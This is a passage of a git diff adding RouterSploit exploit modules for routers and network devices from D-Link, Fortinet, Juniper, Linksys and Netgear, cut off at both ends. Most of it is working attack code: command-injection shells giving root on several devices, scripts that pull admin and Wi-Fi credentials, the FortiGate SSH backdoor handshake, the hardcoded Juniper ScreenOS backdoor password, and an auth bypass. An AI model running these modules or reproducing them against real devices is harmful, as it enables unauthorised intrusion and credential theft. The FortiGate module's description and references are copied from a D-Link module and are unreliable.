\t\t\t\n\t\t\t", res) + if len(creds): + c = creds[0].split(":") + creds = [(c[0], c[1])] + print_success("Credentials found!") + headers = ("Login", "Password") + print_table(headers, *creds) + else: + print_error("Credentials could not be found") + + + def check(self): + url = sanitize_url("{}:{}/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd".format(self.target, self.port)) + + try: + r = requests.get(url) + res = r.text + except: + return None # could not be verified + + creds = re.findall("
\t\t\t\n\t\t\t
\n\t\t\t(.+?)\n\n\t\t\t
", res) + if len(creds): + return True # target vulnerable + + return False # target not vulnerable + diff --git a/routersploit/modules/exploits/dlink/dir_300_600_rce.py b/routersploit/modules/exploits/dlink/dir_300_600_rce.py new file mode 100644 index 000000000..13bd42553 --- /dev/null +++ b/routersploit/modules/exploits/dlink/dir_300_600_rce.py @@ -0,0 +1,75 @@ +import requests + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Exploit implementation for D-Link DIR-300, DIR-600 Remote Code Execution vulnerability. + If the target is vulnerable, command loop is invoked that allows executing commands with root privileges. + """ + __info__ = { + 'name': 'D-LINK DIR-300 & DIR-600 RCE', + 'description': 'Module exploits D-Link DIR-300, DIR-600 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges.', + 'authors': [ + 'Michael Messner ', # vulnerability discovery + 'Marcin Bury ', # routersploit module + ], + 'references': [ + 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router', + 'http://www.s3cur1ty.de/home-network-horror-days', + 'http://www.s3cur1ty.de/m1adv2013-003', + ], + 'targets': [ + 'D-Link DIR 300', + 'D-Link DIR 600', + ] + } + + target = exploits.Option('', 'Target address e.g. http://192.168.1.1') + port = exploits.Option(80, 'Target Port') + + def run(self): + if self.check() == True: + print_success("Target is vulnerable") + print_status("Invoking command loop...") + self.command_loop() + else: + print_error("Target is not vulnerable") + + def command_loop(self): + while 1: + cmd = raw_input("cmd > ") + print self.execute(cmd) + + def execute(self, cmd): + url = sanitize_url("{}:{}/command.php".format(self.target, self.port)) + headers = {u'Content-Type': u'application/x-www-form-urlencoded'} + data = "cmd={}".format(cmd) + + try: + r = requests.post(url, headers=headers, data=data) + except requests.exceptions.MissingSchema: + return "Invalid URL format: %s" % url + except requests.exceptions.ConnectionError: + return "Connection error: %s" % url + + return r.text.strip() + + def check(self): + # meaby random mark should be implemented + url = sanitize_url("{}:{}/command.php".format(self.target, self.port)) + headers = {u'Content-Type': u'application/x-www-form-urlencoded'} + data = "cmd={}".format("echo 9fdbd928b52c1ef61615a6fd2e8b49af;") + + try: + r = requests.post(url, headers=headers, data=data) + res = r.text + except: + return None + + if "9fdbd928b52c1ef61615a6fd2e8b49af" in res: + return True + + return False + diff --git a/routersploit/modules/exploits/dlink/dir_645_password_disclosure.py b/routersploit/modules/exploits/dlink/dir_645_password_disclosure.py new file mode 100644 index 000000000..140ca8c57 --- /dev/null +++ b/routersploit/modules/exploits/dlink/dir_645_password_disclosure.py @@ -0,0 +1,81 @@ +import requests +import re + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Exploit implementation for D-Link DIR-645 Password Disclosure vulnerability. + If the target is vulnerable it allows to read credentials." + """ + __info__ = { + 'name': 'D-Link DIR-645 Password Disclosure', + 'description': 'Module exploits D-Link DIR-645 password disclosure vulnerability.', + 'authors': [ + 'Roberto Paleari ', # vulnerability discovery + 'Marcin Bury ', # routersploit module + ], + 'references': [ + 'https://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt' + ], + 'targets': [ + 'D-Link DIR-645 (Versions < 1.03)', + ] + } + + target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address + port = exploits.Option(8080, 'Target port') # default port + + def run(self): + # address and parameters + url = sanitize_url("{}:{}/getcfg.php".format(self.target, self.port)) + data = {"SERVICES": "DEVICE.ACCOUNT"} + + # connection + try: + r = requests.post(url, data=data) + res = r.text + except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): + print_error("Invalid URL format: %s" % url) + return + except requests.exceptions.ConnectionError: + print_error("Connection error: %s" % url) + return + + # extracting credentials + regular = "(.+?)(|.+?)(|.+?)" + creds = re.findall(regular, re.sub('\s+', '', res)) + + # displaying results + if len(creds): + print_success("Credentials found!") + + headers = ('Username', 'Password') + creds = tuple(tuple([item[0], item[2]]) for item in creds) + print_table(headers, *creds) + else: + print_error("Credentials could not be found") + + + def check(self): + # address and parameters + url = sanitize_url("{}:{}/getcfg.php".format(self.target, self.port)) + data = {"SERVICES": "DEVICE.ACCOUNT"} + + # connection + try: + r = requests.post(url, data=data) + res = r.text + except: + return None + + # extracting credentials + regular = "(.+?)(|.+?)(|.+?)" + creds = re.findall(regular, re.sub('\s+', '', res)) + + if len(creds): + return True # target vulnerable + + return False # target not vulnerable + diff --git a/routersploit/modules/exploits/dlink/dns_320l_327l_rce.py b/routersploit/modules/exploits/dlink/dns_320l_327l_rce.py new file mode 100644 index 000000000..d4ba49233 --- /dev/null +++ b/routersploit/modules/exploits/dlink/dns_320l_327l_rce.py @@ -0,0 +1,77 @@ +import requests +import re + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Exploit implementation for D-Link DNS-320L and DNS-327L Remote Code Execution vulnerability. + If the target is vulnerable, command loop is invoked that allows executing commands on the device. + """ + __info__ = { + 'name': 'D-LINK DNS-320L & DIR-327L RCE', + 'description': 'Module exploits D-Link DNS-320L, DNS-327L Remote Code Execution vulnerability which allows executing command on the device.', + 'authors': [ + 'Gergely Eberhardt', # vulnerability discovery + 'Marcin Bury ', # routersploit module + ], + 'references': [ + 'http://www.search-lab.hu/media/D-Link_Security_advisory_3_0_public.pdf', + ], + 'targets': [ + 'DNS-320L 1.03b04', + 'DNS-327L, 1.02', + ] + } + + target = exploits.Option('', 'Target address e.g. http://192.168.1.1') + port = exploits.Option(80, 'Target Port') + + def run(self): + if self.check() == True: + print_success("Target is vulnerable") + print_status("Invoking command loop...") + self.command_loop() + else: + print_error("Target is not vulnerable") + + def command_loop(self): + while 1: + cmd = raw_input("cmd > ") + print self.execute(cmd) + + def execute(self, cmd): + url = sanitize_url("{}:{}/cgi-bin/gdrive.cgi?cmd=4&f_gaccount=;{};echo ffffffffffffffff;".format(self.target, self.port, cmd)) + + try: + r = requests.get(url) + res = r.text + except: + return False + + if 'ffffffffffffffff' in res: + res = re.findall("(|.+?)ffffffffffffffff", res, re.DOTALL) + + if len(res): + return res[0] + + return False + + def check(self): + # meaby random mark should be implemented + cmd = "echo 9fdbd928b52c1ef61615a6fd2e8b49af" + url = sanitize_url("{}:{}/cgi-bin/gdrive.cgi?cmd=4&f_gaccount=;{};echo ffffffffffffffff;".format(self.target, self.port, cmd)) + + try: + r = requests.get(url) + res = r.text + except: + return None + + + if "9fdbd928b52c1ef61615a6fd2e8b49af" in r: + return True + + return False + diff --git a/routersploit/modules/exploits/dlink/dsl_2750b_info_disclosure.py b/routersploit/modules/exploits/dlink/dsl_2750b_info_disclosure.py new file mode 100644 index 000000000..a629c7a4f --- /dev/null +++ b/routersploit/modules/exploits/dlink/dsl_2750b_info_disclosure.py @@ -0,0 +1,78 @@ +import requests +import re + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Exploit implementation for DSL-2750B Information Disclosure vulnerability. + If the target is vulnerable it allows to read SSID, Wi-Fi password and PIN code." + """ + __info__ = { + 'name': 'D-Link DSL-2750B Info Disclosure', + 'description': 'Module explois information disclosure vulnerability in D-Link DSL-2750B devices. It is possible to retrieve sensitive information such as SSID, Wi-Fi password, PIN code.', + 'authors': [ + 'Alvaro Folgado # vulnerability discovery', + 'Jose Rodriguez # vulnerability discovery', + 'Ivan Sanz # vulnerability discovery', + 'Marcin Bury # routersploit module', + ], + 'references': [ + 'http://seclists.org/fulldisclosure/2015/May/129' + ], + 'targets': [ + 'D-Link DSL-2750B EU_1.01', + ] + } + + target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address + port = exploits.Option(80, 'Target port') # default port + + def run(self): + url = sanitize_url("{}:{}/hidden_info.html".format(self.target, self.port)) + + try: + r = requests.get(url) + res = r.text + except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): + print_error("Invalid URL format: %s" % url) + return + except requests.exceptions.ConnectionError: + print_error("Connection error: %s" % url) + return + + creds = [] + data = ['2.4G SSID', '2.4G PassPhrase', '5G SSID', '5G PassPhrase', 'PIN Code'] + + for d in data: + regexp = "\r\n\t\t\t".format(d) + val = re.findall(regexp, res) + + if len(val): + creds.append((d,val[0])) + + if len(creds): + print_success("Credentials found!") + + headers = ("Option", "Value") + print_table(headers, *creds) + + else: + print_error("Credentials could not be found") + + + def check(self): + url = sanitize_url("{}:{}/hidden_info.html".format(self.target, self.port)) + + try: + r = requests.get(url) + res = r.text + except: + return None + + if any(map(lambda x: x in res, ["SSID", "PassPhrase"])): + return True # target vulnerable + + return False # target not vulnerable + diff --git a/routersploit/modules/exploits/dlink/dwr_932_info_disclosure.py b/routersploit/modules/exploits/dlink/dwr_932_info_disclosure.py new file mode 100644 index 000000000..4d51738a6 --- /dev/null +++ b/routersploit/modules/exploits/dlink/dwr_932_info_disclosure.py @@ -0,0 +1,76 @@ +import requests +import json + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Exploit implementation for D-Link DWR-932 Information Disclosure vulnerability. + If the target is vulnerable it allows to read credentials for administrator." + """ + __info__ = { + 'name': 'D-Link DWR-932 Info Disclosure', + 'description': 'Module explois information disclosure vulnerability in D-Link DWR-932 devices. It is possible to retrieve sensitive information such as credentials.', + 'authors': [ + 'Saeed reza Zamanian' # vulnerability discovery + 'Marcin Bury ', # routersploit module + ], + 'references': [ + 'https://www.exploit-db.com/exploits/39581/', + ], + 'targets': [ + 'D-Link DWR-932', + ] + } + + target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address + port = exploits.Option(80, 'Target port') # default port + + def run(self): + url = sanitize_url("{}:{}/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703".format(self.target, self.port)) + + print_status("Running module...") + try: + r = requests.get(url) + res = r.text + except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): + print_error("Invalid URL format: %s" % url) + return + except requests.exceptions.ConnectionError: + print_error("Connection error: %s" % url) + return + + try: + data = json.loads(res) + print_status("Decoding JSON value") + except ValueError: + print_error("Response is not valid JSON") + return + + if len(data): + print_success("Exploit success") + + rows = [] + for key in data.keys(): + if len(data[key]) > 0: + rows.append((key, data[key])) + + headers = ("Parameter", "Value") + print_table(headers, *rows) + + + def check(self): + url = sanitize_url("{}:{}/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703".format(self.target, self.port)) + + try: + r = requests.get(url) + res = r.text + except: + return None # could not be verified + + if 'wifi_AP1_ssid' in res: + return True # target is vulnerable + + return False # target not vulnerable + diff --git a/routersploit/modules/exploits/fortinet/__init__.py b/routersploit/modules/exploits/fortinet/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/routersploit/modules/exploits/fortinet/fortigate_os_backdoor.py b/routersploit/modules/exploits/fortinet/fortigate_os_backdoor.py new file mode 100644 index 000000000..48ffdc637 --- /dev/null +++ b/routersploit/modules/exploits/fortinet/fortigate_os_backdoor.py @@ -0,0 +1,127 @@ +import socket +import select +import paramiko +import base64 +import hashlib +import termios +import tty +import sys +from paramiko.py3compat import u + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Exploit implementation for FortiGate OS Version 4.x up to 5.0.7 vulnerability. + If the target is vulnerable, remote access to the system is provided. + """ + __info__ = { + 'name': 'FortiGate OS 4.x-5.0.7 Backdoor', + 'description': 'Module exploits D-Link DNS-320L, DNS-327L Remote Code Execution vulnerability which allows executing command on the device.', + 'authors': [ + 'operator8203', # vulnerability discovery + 'Marcin Bury ', # routersploit module + ], + 'references': [ + 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router', + 'http://www.s3cur1ty.de/home-network-horror-days', + 'http://www.s3cur1ty.de/m1adv2013-003', + ], + 'targets': [ + 'FortiGate OS Version 4.x-5.0.7', + ] + } + + target = exploits.Option('', 'Target IP address') + port = exploits.Option(22, 'Target Port') + + def run(self): + print_status("Running module") + + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + + try: + client.connect(self.target, username='', allow_agent=False, look_for_keys=False) + except paramiko.ssh_exception.SSHException: + pass + + trans = client.get_transport() + try: + trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True) + except paramiko.ssh_exception.AuthenticationException: + pass + except: + print_status("Error with Existing Session. Wait few minutes.") + return + + try: + trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler) + chan = client.invoke_shell() + except: + print_error("Exploit failed") + return + + print_success("Exploit succeeded") + oldtty = termios.tcgetattr(sys.stdin) + try: + tty.setraw(sys.stdin.fileno()) + tty.setcbreak(sys.stdin.fileno()) + chan.settimeout(0.0) + + while True: + r, w, e = select.select([chan, sys.stdin], [], []) + if chan in r: + try: + x = u(chan.recv(1024)) + if len(x) == 0: + sys.stdout.write('\r\n*** EOF\r\n') + break + sys.stdout.write(x) + sys.stdout.flush() + except socket.timeout: + pass + if sys.stdin in r: + x = sys.stdin.read(1) + if len(x) == 0: + break + chan.send(x) + + finally: + termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty) + + + def check(self): + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + + try: + client.connect(self.target, username='', allow_agent=False, look_for_keys=False) + except paramiko.ssh_exception.SSHException: + pass + + trans = client.get_transport() + try: + trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True) + except paramiko.ssh_exception.AuthenticationException: + pass + except Exception, e: + return None + + try: + trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler) + except: + return False # target is not vulnerable + + return True # target is vulnerable + + def custom_handler(self, title, instructions, prompt_list): + n = prompt_list[0][0] + m = hashlib.sha1() + m.update('\x00' * 12) + m.update(n + 'FGTAbc11*xy+Qqz27') + m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70') + h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest()) + return [h] + diff --git a/routersploit/modules/exploits/juniper/__init__.py b/routersploit/modules/exploits/juniper/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/routersploit/modules/exploits/juniper/screenos_backdoor.py b/routersploit/modules/exploits/juniper/screenos_backdoor.py new file mode 100644 index 000000000..8fa042603 --- /dev/null +++ b/routersploit/modules/exploits/juniper/screenos_backdoor.py @@ -0,0 +1,109 @@ +import paramiko +import telnetlib +import select +import socket + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Exploit implementation for Juniper ScreenOS Authentication Backdoor vulnerability. + If the target is vulnerable it is possible to authenticate to the device" + """ + __info__ = { + 'name': 'Juniper ScreenOS Backdoor', + 'description': 'Module exploits Juniper ScreenOS Authentication Backdoor vulnerability. If the target is is possible to authentiate to the device.', + 'authors': [ + 'hdm', # vulnerability discovery + 'Marcin Bury ', # routersploit module + ], + 'references': [ + 'https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor', + ], + 'targets': [ + 'Juniper ScreenOS 6.2.0r15 to 6.2.0r18', + 'Juniper ScreenOS 6.3.0r12 to 6.3.0r20', + ] + } + + target = exploits.Option('', 'Target address e.g. 192.168.1.1') # target address + + username = "admin" + password = "<<< %s(un='%s') = %u" + + def run(self): + ssh = paramiko.SSHClient() + ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + + try: + ssh.connect(self.target, 22, timeout=5, username=self.username, password=self.password) + except: + ssh.close() + else: + print_success("SSH - Successful authentication") + + cmd = "" + while cmd not in ["quit", "exit"]: + cmd = raw_input("> ") + stdin, stdout, stderr = ssh.exec_command(cmd.strip()) + print stdout.channel.recv(2048) + return + + try: + tn = telnetlib.Telnet(self.target, 23) + tn.expect(["Login: ", "login: "], 5) + tn.write(self.username + "\r\n") + tn.expect(["Password: ", "password"], 5) + tn.write(self.password + "\r\n") + tn.write("\r\n") + + (i,obj,res) = tn.expect(["Incorrect", "incorrect"], 5) + + if i != -1: + return False + else: + if any(map(lambda x: x in res, ["#", "$",">"])): + print_success("Telnet - Successful authentication") + tn.write("\r\n") + tn.interact() + + tn.close() + except: + print_error("Connection Error") + return + + def check(self): + ssh = paramiko.SSHClient() + ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + + try: + ssh.connect(self.target, 22, timeout=5, username=self.username, password=self.password) + except: + ssh.close() + else: + return True + + try: + tn = telnetlib.Telnet(self.target, 23) + tn.expect(["Login: ", "login: "], 5) + tn.write(self.username + "\r\n") + tn.expect(["Password: ", "password"], 5) + tn.write(self.password + "\r\n") + tn.write("\r\n") + + (i,obj,res) = tn.expect(["Incorrect", "incorrect"], 5) + tn.close() + + if i != -1: + return False + else: + if any(map(lambda x: x in res, ["#", "$",">"])): + tn.close() + return True + tn.close() + except: + return False + + return False + diff --git a/routersploit/modules/exploits/linksys/__init__.py b/routersploit/modules/exploits/linksys/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/routersploit/modules/exploits/linksys/wap54gv3_rce.py b/routersploit/modules/exploits/linksys/wap54gv3_rce.py new file mode 100644 index 000000000..39d073a60 --- /dev/null +++ b/routersploit/modules/exploits/linksys/wap54gv3_rce.py @@ -0,0 +1,77 @@ +import requests +import re + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Exploit implementation for Linksys WAP54Gv3 devices Remote Code Execution vulnerability. + If the target is vulnerable, command loop is invoked that allows executing commands with root privileges. + """ + __info__ = { + 'name': 'Linksys WAP54Gv3', + 'description': 'Module exploits remote command execution in Linksys WAP54Gv3 devices. Debug interface allows executing root privileged shell commands is available on dedicated web pages on the device.', + 'authors': [ + 'Phil Purviance', # vulnerability discovery + 'Marcin Bury ', # routersploit module + ], + 'references': [ + 'http://seclists.org/bugtraq/2010/Jun/93', + ], + 'targets': [ + 'Linksys WAP54Gv3', + ] + } + + target = exploits.Option('', 'Target address e.g. http://192.168.1.1') + port = exploits.Option(80, 'Target Port') + + def run(self): + if self.check() == True: + print_success("Target is vulnerable") + print_status("Invoking command loop...") + self.command_loop() + else: + print_error("Target is not vulnerable") + + def command_loop(self): + while 1: + cmd = raw_input("cmd > ") + print self.execute(cmd) + + def execute(self, cmd): + url = sanitize_url("{}:{}/debug.cgi".format(self.target, self.port)) + data = {"data1": cmd, "command": "ui_debug"} + + try: + r = requests.post(url, data=data, auth=("Gemtek", "gemtekswd")) + except requests.exceptions.MissingSchema: + return "Invalid URL format: %s" % url + except requests.exceptions.ConnectionError: + return "Connection error: %s" % url + + res = re.findall('', r.text, re.DOTALL) + + if len(res): + return res[0] + else: + return "" + + def check(self): + # meaby random mark should be implemented + cmd = "echo 9fdbd928b52c1ef61615a6fd2e8b49af" + url = sanitize_url("{}:{}/debug.cgi".format(self.target, self.port)) + data = {"data1": cmd, "command": "ui_debug"} + + try: + r = requests.post(url, data=data, auth=("Gemtek", "gemtekswd")) + res = r.text + except: + return None # could not be verified + + if "9fdbd928b52c1ef61615a6fd2e8b49af" in res: + return True + + return False + diff --git a/routersploit/modules/exploits/multi/__init__.py b/routersploit/modules/exploits/multi/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/routersploit/modules/exploits/multi/misfortune_cookie.py b/routersploit/modules/exploits/multi/misfortune_cookie.py new file mode 100644 index 000000000..1acc1b967 --- /dev/null +++ b/routersploit/modules/exploits/multi/misfortune_cookie.py @@ -0,0 +1,63 @@ +import requests +import re + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Exploit implementation for Misfortune Cookie Authentication Bypass vulnerability. + """ + __info__ = { + 'name': 'Misfortune Cookie', + 'description': 'Exploit implementation for Misfortune Cookie Authentication Bypass vulnerability.', + 'author': 'Marcin Bury ', # routersploit module + 'references': [ + 'http://mis.fortunecook.ie/' + ], + 'targets': [ + 'multi' + ] + } + + target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address + port = exploits.Option(80, 'Target port') # default port + + def run(self): + if self.check(): + print_success("Device is vulnerable to Misfortune Cookie vulnerability") + else: + print_error("Device seems to be not vulnerable") + + def check(self): + url = sanitize_url("{}:{}/test".format(self.target, self.port)) + user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' + headers = {'User-Agent': user_agent, + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3', + 'Connection': 'keep-alive', + 'Accept-Encoding': 'gzip, deflate', + 'Cache-Control': 'no-cache', + 'Cookie': 'C107373883=/omg1337hax'} + + + try: + r = requests.get(url, headers=headers) + + if r.status_code != 404: + return False # not rompage + else: + if 'server' in r.headers: + server = r.headers.get('server') + + if re.search('RomPager', server) is not None: + if re.search('omg1337hax', r.text) is not None: + return True # device is vulnerable + else: + return None # tests didnt pass but might be still vulnerable + except: + return None # could not be verified + + + return False # target not vulnerable + diff --git a/routersploit/modules/exploits/netgear/__init__.py b/routersploit/modules/exploits/netgear/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/routersploit/modules/exploits/netgear/n300_auth_bypass.py b/routersploit/modules/exploits/netgear/n300_auth_bypass.py new file mode 100644 index 000000000..dc4ddb4fc --- /dev/null +++ b/routersploit/modules/exploits/netgear/n300_auth_bypass.py @@ -0,0 +1,54 @@ +import requests +import re + +from routersploit import * + + +class Exploit(exploits.Exploit): + """ + Exploit implementation for Netgear N300 Authentication Bypass vulnerability. + If the target is vulnerable link to bypass authentication will be provided" + """ + __info__ = { + 'name': 'Netgear N300 Auth Bypass', + 'description': 'Module exploits authentication bypass vulnerability in Netgear N300 devices. It is possible to access administration panel without providing password.', + 'authors': [ + 'Daniel Haake ', # vulnerability discovery + 'Marcin Bury ', # routersploit module + ], + 'references': [ + 'https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2015-007_Netgear_WNR1000v4_AuthBypass.txt' + ], + 'targets': [ + 'Netgear N300', + ] + } + + target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address + port = exploits.Option(80, 'Target port') # default port + + def run(self): + if self.check(): + print_success("Target is vulnerable") + url = sanitize_url("{}:{}".format(self.target, self.port)) + print "Visit {}/BRS_netgear_success.html\n".format(url) + else: + print_error("Target seems to be not vulnerable") + + def check(self): + url = sanitize_url("{}:{}/".format(self.target, self.port)) + + try: + r = requests.get(url) + except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema, requests.exceptions.ConnectionError): + return None # target could not be verified + + if r.status_code == requests.codes.unauthorized: + url = sanitize_url("{}:{}/BRS_netgear_success.html".format(self.target, self.port)) + r = requests.get(url) + + if r.status_code == requests.codes.ok: + return True + + return False # target not vulnerable + diff --git a/routersploit/modules/scanners/__init__.py b/routersploit/modules/scanners/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/routersploit/modules/scanners/dlink_scan.py b/routersploit/modules/scanners/dlink_scan.py new file mode 100644 index 000000000..e5aeb6112 --- /dev/null +++ b/routersploit/modules/scanners/dlink_scan.py @@ -0,0 +1,61 @@ +from routersploit import * +from os import listdir +from os.path import isfile, join +import imp + + +class Exploit(exploits.Exploit): + """ + D-Link Scanner + """ + __info__ = { + 'name': 'D-Link Scanner', + 'description': 'Scanner module for D-Link devices', + 'author': [ + 'Marcin Bury ', # routersploit module + ], + } + + target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address + port = exploits.Option(80, 'Target port') # default port + + def run(self): + exploits = [] + rootpath = 'routersploit/modules/' + path = 'exploits/dlink/' + + # only py exploit files + modules = [f.replace(".py", "") for f in listdir(rootpath+path) if isfile(join(rootpath+path, f)) and f.endswith(".py") and f != "__init__.py"] + + vulns = [] + for module_name in modules: + f = path + module_name + + module = imp.load_source('module', rootpath + f + '.py') + exploit = module.Exploit() + + exploit.target = self.target + exploit.port = self.port + + res = exploit.check() + + if res is True: + print_success("{} is vulnerable".format(f)) + vulns.append(f) + elif res is False: + print_error("{} is not vulnerable".format(f)) + else: + print_status("{} could not be verified".format(f)) + + print + if len(vulns): + print_success("Device is vulnerable!") + for v in vulns: + print " - {}".format(v) + else: + print_error("Device is not vulnerable to any exploits!") + print + + def check(self): + print_error("Check method is not available") + diff --git a/routersploit/test/__init__.py b/routersploit/test/__init__.py new file mode 100644 index 000000000..57838b2f6 --- /dev/null +++ b/routersploit/test/__init__.py @@ -0,0 +1 @@ +__author__ = 'fwkz' diff --git a/routersploit/test/test_completer.py b/routersploit/test/test_completer.py new file mode 100644 index 000000000..77bf68059 --- /dev/null +++ b/routersploit/test/test_completer.py @@ -0,0 +1,184 @@ +import unittest +import os + +import pexpect + + +class RoutersploitCompleterTest(unittest.TestCase): + + def __init__(self, methodName='runTest'): + super(RoutersploitCompleterTest, self).__init__(methodName) + self.cli_path = os.path.abspath(os.path.join(__file__, os.pardir, os.pardir, os.pardir, 'cli.py')) + self.raw_prompt = "\033[4mrsf\033[0m > " + self.module_prompt = lambda x: "\033[4mrsf\033[0m (\033[91m{}\033[0m) > ".format(x) + + def setUp(self): + self.rsf = pexpect.spawn('python {}'.format(self.cli_path)) + self.rsf.send('\r\n') + self.assertPrompt(self.raw_prompt) + + def tearDown(self): + self.rsf.terminate(force=True) + + def assertPrompt(self, *args): + value = ''.join(args) + self.rsf.expect_exact(value, timeout=0.5) + + def set_module(self): + self.rsf.send("use creds/ftp_bruteforce\r\n") + self.assertPrompt(self.module_prompt('FTP Bruteforce')) + + def test_raw_commands_no_module(self): + self.rsf.send("\t\t") + self.assertPrompt(self.raw_prompt, 'use ') + + def test_complete_use_raw(self): + self.rsf.send("u\t\t") + self.assertPrompt(self.raw_prompt, 'use ') + + def test_complete_use(self): + self.rsf.send("use \t\t") + self.assertPrompt( + 'creds exploits \r\n', + self.raw_prompt, + 'use ' + ) + + def test_complete_use_creds(self): + self.rsf.send("use cr\t\t") + self.assertPrompt( + self.raw_prompt, + 'use creds/' + ) + + def test_complete_use_creds_2(self): + self.rsf.send("use creds/\t\t") + self.assertPrompt( + 'creds/http_basic_default' + ) + + def test_complete_use_exploits(self): + self.rsf.send("use ex\t\t") + self.assertPrompt( + self.raw_prompt, + 'use exploits/' + ) + + def test_complete_use_exploits_2(self): + self.rsf.send("use exploits/\t\t") + self.assertPrompt( + 'exploits/dlink/' + ) + + def test_complete_use_exploits_3(self): + self.rsf.send("use exploits/dli\t") + self.assertPrompt( + self.raw_prompt, + 'use exploits/dlink/' + ) + + def test_complete_use_exploits_4(self): + self.rsf.send("use exploits/dlink/dir_300_320_\t\t\t") + self.assertPrompt( + 'exploits/dlink/dir_300_320_615_auth_bypass' + ) + + def test_raw_commands_with_module(self): + self.set_module() + self.rsf.send("\t\t") + self.assertPrompt( + 'back check run set show \r\n', + self.module_prompt('FTP Bruteforce') + ) + + def test_complete_back_raw(self): + self.set_module() + self.rsf.send("b\t\t") + self.assertPrompt( + self.module_prompt('FTP Bruteforce'), + 'back' + ) + + def test_complete_check_raw(self): + self.set_module() + self.rsf.send("c\t\t") + self.assertPrompt( + self.module_prompt('FTP Bruteforce'), + 'check' + ) + + def test_complete_run_raw(self): + self.set_module() + self.rsf.send("r\t\t") + self.assertPrompt( + self.module_prompt('FTP Bruteforce'), + 'run' + ) + + def test_complete_set_raw(self): + self.set_module() + self.rsf.send("s\t\t") + self.assertPrompt( + 'set show \r\n', + self.module_prompt('FTP Bruteforce') + ) + + def test_complete_set_raw_2(self): + self.set_module() + self.rsf.send("se\t\t") + self.assertPrompt( + self.module_prompt('FTP Bruteforce'), + 'set ', + ) + + def test_complete_set(self): + self.set_module() + self.rsf.send("set \t\t") + self.assertPrompt( + 'passwords port target threads usernames \r\n', + self.module_prompt('FTP Bruteforce'), + 'set ', + ) + + def test_complete_set_2(self): + self.set_module() + self.rsf.send("set u\t\t") + self.assertPrompt( + self.module_prompt('FTP Bruteforce'), + 'set usernames ', + ) + + def test_complete_show_raw(self): + self.set_module() + self.rsf.send("sh\t\t") + self.assertPrompt( + self.module_prompt('FTP Bruteforce'), + 'show ', + ) + + def test_complete_show(self): + self.set_module() + self.rsf.send("show \t\t") + self.assertPrompt( + 'info options \r\n', + self.module_prompt('FTP Bruteforce') + ) + + def test_complete_show_info(self): + self.set_module() + self.rsf.send("show i\t\t") + self.assertPrompt( + self.module_prompt('FTP Bruteforce'), + 'show info' + ) + + def test_complete_show_options(self): + self.set_module() + self.rsf.send("show o\t\t") + self.assertPrompt( + self.module_prompt('FTP Bruteforce'), + 'show options' + ) + +if __name__ == '__main__': + unittest.main() \ No newline at end of file diff --git a/routersploit/test/test_interpreter.py b/routersploit/test/test_interpreter.py new file mode 100644 index 000000000..096d0d0fe --- /dev/null +++ b/routersploit/test/test_interpreter.py @@ -0,0 +1,516 @@ +from __future__ import print_function +import unittest +import os +import inspect + +import mock + +from routersploit.interpreter import RoutersploitInterpreter +from routersploit.exploits import Exploit + + +class TestExploit(Exploit): + pass + + +class 